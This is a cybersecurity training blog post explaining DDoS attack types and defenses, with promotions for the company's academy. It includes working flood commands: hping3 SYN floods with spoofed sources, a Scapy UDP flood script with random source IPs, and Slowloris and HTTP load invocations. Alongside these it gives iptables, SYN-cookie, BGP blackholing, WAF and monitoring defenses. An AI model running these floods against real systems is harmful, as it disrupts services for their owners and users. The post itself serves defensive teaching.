Distributed Denial of Service attacks are among the most disruptive threats in modern cybersecurity. They do not steal data quietly or hide in the background. They shut things down, loudly and completely, and they are getting more sophisticated every year. Understanding how they work at a technical level is the first step toward building defenses that actually hold.
A Distributed Denial of Service (DDoS) attack is an attempt to make a targeted server, service, or network unavailable by overwhelming it with a flood of internet traffic originating from multiple sources. Unlike a simple DoS attack launched from a single machine, a DDoS attack harnesses hundreds, thousands, or even millions of compromised devices acting in concert.
Those devices are typically part of a botnet, a network of infected machines controlled by a command-and-control (C2) server. The victim often has no warning. Traffic volume spikes in seconds, legitimate users get connection timeouts, and the service collapses under load.
DDoS attacks are used for extortion, competitive sabotage, hacktivism, and as a smokescreen to distract security teams while a more targeted intrusion takes place elsewhere.
Most large-scale DDoS attacks depend on a botnet. Attackers compromise devices through phishing, unpatched vulnerabilities, or malware, and install a DDoS agent. Once enough bots are recruited, the attacker issues an attack command through the C2 channel, and every bot begins flooding the target simultaneously.
Modern botnets use peer-to-peer C2 architectures rather than centralized servers, making takedown efforts significantly harder. Mirai, one of the most notorious botnet families, infected IoT devices running default credentials and launched record-breaking attacks exceeding 1 Tbps.
DDoS attacks fall into three broad categories, each targeting a different layer of the network stack.
Volumetric Attacks aim to saturate the target's available bandwidth. They generate massive traffic volumes, measured in gigabits or terabits per second, and overwhelm the pipe before traffic ever reaches the target's servers. Amplification attacks (DNS, NTP, SSDP) are the most efficient method here, because the attacker can send a small spoofed request and receive a response many times larger directed at the victim.
Protocol Attacks exploit weaknesses in Layer 3 and Layer 4 protocols to exhaust stateful infrastructure like firewalls, load balancers, and routers. SYN floods are the textbook example.
Application Layer Attacks (Layer 7) target HTTP, HTTPS, or DNS services. They mimic legitimate traffic and send incomplete or resource-intensive requests designed to exhaust server CPU, memory, or database connections. These are harder to detect because individual packets look normal.
The TCP three-way handshake involves SYN, SYN-ACK, and ACK. In a SYN flood, the attacker sends a high volume of SYN packets with spoofed source IPs. The server sends SYN-ACK replies and waits for the final ACK that never comes. Each half-open connection consumes a slot in the connection table until it is exhausted and legitimate connections are refused.
The attacker sends DNS queries for large record types (DNSSEC-signed zones, ANY queries) using the victim's IP as the spoofed source. DNS resolvers send their large responses to the victim. Amplification factors can reach 70x or higher, turning a modest attack pipe into a massive flood.
The attacker sends a high rate of seemingly legitimate HTTP GET or POST requests to exhaust the web server. POST floods targeting login pages or search endpoints are particularly damaging because they force the server to execute database queries for every request.
Slowloris is a low-bandwidth, high-impact Layer 7 attack. It opens many connections to the target web server and sends partial HTTP headers, keeping connections alive indefinitely by periodically sending additional header bytes without completing the request. Eventually the server's connection pool fills up and no legitimate requests can be served.
UDP is connectionless and trivially spoofable. NTP amplification abuses the monlist command in older NTP servers, which returns a list of the last 600 clients. A 234-byte request can trigger a 48KB response, an amplification factor of over 200x.
Security professionals use dedicated tools to simulate DDoS conditions against their own infrastructure during authorized assessments. If you want to build real-world defensive skills, the Redfox Cybersecurity Academy curriculum covers infrastructure attack simulation and defense from the ground up.
hping3 is a versatile packet crafting tool used in authorized lab environments to test SYN flood resistance.
# SYN flood test against a local lab target (authorized testing only)
hping3 -S --flood -V -p 80 192.168.1.100
[cta]
Breaking down the flags: -S sets the SYN flag, --flood sends packets as fast as possible without waiting for replies, -V enables verbose mode, and -p 80 targets port 80.
To simulate spoofed source IPs in a controlled lab:
hping3 -S --flood -V -p 443 --rand-source 192.168.1.100
[cta]
--rand-source randomizes the source IP address per packet, simulating how a real SYN flood obscures the origin.
Low Orbit Ion Cannon is a well-known open-source stress testing tool, but it sends traffic from the attacker's real IP and is trivially blocked by rate limiting. It is mentioned here only for historical context. Professional red teamers use hping3, Scapy, or custom tooling for authorized simulations.
Scapy gives security researchers granular control over every field in a packet, which is invaluable for testing how infrastructure handles malformed or spoofed traffic.
from scapy.all import *
import random
# UDP flood simulation (authorized lab use only)
target_ip = "192.168.1.100"
target_port = 53
def udp_flood(target, port, count=1000):
for i in range(count):
src_ip = ".".join([str(random.randint(1, 254)) for _ in range(4)])
packet = IP(src=src_ip, dst=target) / UDP(sport=random.randint(1024, 65535), dport=port) / Raw(load=b"A" * 512)
send(packet, verbose=0)
print(f"Sent {count} UDP packets to {target}:{port}")
udp_flood(target_ip, target_port)
[cta]
This script crafts 1000 UDP packets with randomized source IPs, each carrying a 512-byte payload, and fires them at the target DNS port in a lab environment.
wrk is a modern HTTP benchmarking tool useful for identifying the point at which a web server begins dropping requests.
# HTTP GET flood simulation against a staging server
wrk -t12 -c400 -d30s http://staging.yourdomain.com/
[cta]
This spawns 12 threads, maintains 400 open connections, and runs for 30 seconds. Monitoring the server's response time degradation and error rates during this test reveals where bottlenecks exist.
Siege provides similar capabilities with added flexibility:
siege -c 500 -t 60S -b http://staging.yourdomain.com/login
[cta]
-c 500 sets 500 concurrent users, -t 60S runs for 60 seconds, and -b enables benchmark mode (no delays between requests).
For Slowloris testing, the Python-based slowloris.py tool is widely used in authorized engagements:
python3 slowloris.py target.yourdomain.com --port 80 --sockets 500
[cta]
This opens 500 persistent connections and holds them open with periodic header fragments, revealing whether the server is configured to defend against connection exhaustion.
Understanding the attack is only half the equation. If you are working toward a career in defensive security or infrastructure protection, the practical training at Redfox Cybersecurity Academy covers both offensive simulation and defensive hardening techniques in detail.
Rate limiting is a foundational control. On Linux systems running iptables, you can limit SYN packet rates to reduce the impact of SYN floods:
# Limit new TCP connections to 25 per second with a burst of 100
iptables -A INPUT -p tcp --syn -m limit --limit 25/s --limit-burst 100 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
[cta]
This allows up to 100 initial SYN packets in a burst and sustains 25 per second afterward, dropping everything above that threshold.
For UDP rate limiting:
iptables -A INPUT -p udp -m limit --limit 1000/s --limit-burst 2000 -j ACCEPT
iptables -A INPUT -p udp -j DROP
[cta]
SYN cookies are a kernel-level defense against SYN floods. Rather than allocating a connection slot when a SYN arrives, the server encodes connection state into the SYN-ACK's sequence number. No memory is consumed until the client completes the handshake with a valid ACK. Enable SYN cookies on Linux:
sysctl -w net.ipv4.tcp_syncookies=1
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf
[cta]
When volumetric attack traffic exceeds what any scrubbing solution can handle, Remote Triggered Black Hole (RTBH) routing drops traffic destined for the attacked IP at the ISP level, before it enters your network. This protects the rest of your infrastructure at the cost of taking the targeted IP offline.
BGP communities are used to signal RTBH to upstream providers. The specific community values depend on your ISP, but the general BGP configuration on a Cisco router looks like this:
ip route 203.0.113.100 255.255.255.255 Null0
router bgp 65001
network 203.0.113.100 mask 255.255.255.255
neighbor 198.51.100.1 remote-as 65000
neighbor 198.51.100.1 send-community
neighbor 198.51.100.1 route-map RTBH out
[cta]
Layer 7 attacks require Layer 7 defenses. A WAF can inspect HTTP traffic and block request patterns characteristic of floods. ModSecurity with the OWASP Core Rule Set is a widely deployed open-source option.
To add a custom rate-limiting rule in ModSecurity:
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:1000
SecRule IP:REQUESTS "@gt 100" \
"id:1001,phase:1,deny,status:429,setvar:ip.requests=+1,expirevar:ip.requests=60,msg:'Rate limit exceeded'"
[cta]
This counts requests per IP over a 60-second window and blocks any IP exceeding 100 requests with a 429 response.
CAPTCHA challenges and JavaScript-based browser fingerprinting (as used by Cloudflare's "I'm Under Attack Mode") are effective against HTTP floods that rely on bots lacking a real browser engine. They add friction only for non-human traffic.
For Apache, tightening timeouts reduces Slowloris exposure:
Timeout 10
KeepAliveTimeout 5
MaxKeepAliveRequests 100
For Nginx, adjusting client header and body timeouts provides similar protection:
client_header_timeout 10s;
client_body_timeout 10s;
keepalive_timeout 15s;
[cta]
Services like Cloudflare, AWS Shield Advanced, and Akamai Prolexic offer scrubbing centers that absorb attack traffic before it reaches your origin servers. DNS-based mitigation routes traffic through scrubbing infrastructure, filters malicious packets, and forwards clean traffic to your server.
AWS Shield Advanced, for example, provides always-on traffic monitoring and automatic mitigation. When combined with AWS WAF, it can block application-layer attacks in near real time.
Early detection shortens the window between attack onset and mitigation. Key metrics to monitor include:
netstat and ss offer quick situational awareness during an incident:
# Count TCP connections by state
ss -tan | awk '{print $1}' | sort | uniq -c | sort -rn
# Identify top source IPs by connection count
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head 20
[cta]
Tools like ntopng, Prometheus with node_exporter, and Grafana dashboards built on Elastic Stack provide continuous visibility into traffic anomalies at scale.
When an attack is underway, speed and coordination matter. A structured incident response plan should include the following steps.
Identify the attack type first. Use packet captures to confirm whether you are dealing with a volumetric flood, a protocol attack, or an application-layer attack. tcpdump provides fast visibility:
# Capture SYN packets to port 80 for analysis
tcpdump -nn -i eth0 'tcp[tcpflags] & tcp-syn != 0 and port 80' -c 10000 -w attack_capture.pcap
[cta]
Contact your upstream provider immediately if traffic is saturating your bandwidth. ISP-level RTBH or scrubbing is often the only effective option for volumetric attacks exceeding your link capacity.
Enable rate limiting and WAF rules if not already in place. Activate any pre-arranged DDoS mitigation services. Document everything, timestamps, traffic volumes, attack vectors, and actions taken, both for post-incident review and potential legal action.
Performing DDoS simulations without explicit written authorization from the asset owner is illegal in most jurisdictions under computer fraud and abuse laws, including the Computer Fraud and Abuse Act (CFAA) in the United States and the Computer Misuse Act in the United Kingdom. Every command and script in this post is presented strictly for authorized testing in controlled environments and for educational purposes.
Professionals who want to develop these skills legally and systematically can do so through structured coursework at Redfox Cybersecurity Academy, where lab environments are purpose-built for this kind of hands-on practice.
DDoS attacks range from blunt volumetric floods to surgical application-layer attacks, and effective defense requires understanding them at the packet level. SYN cookies, rate limiting, WAF rules, and cloud-based scrubbing are not optional extras. They are baseline controls for any internet-facing infrastructure.
The technical foundation covered here, from Scapy-crafted UDP floods to iptables rate limiting and ModSecurity rule writing, maps directly to the skills security engineers need in production environments. Simulation and defense go together. You cannot build robust mitigation without knowing what the attack looks like at the wire level.
If you are building toward a career in network security, infrastructure defense, or red team operations, Redfox Cybersecurity Academy provides the structured, hands-on curriculum to take those skills from lab to real-world deployments.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
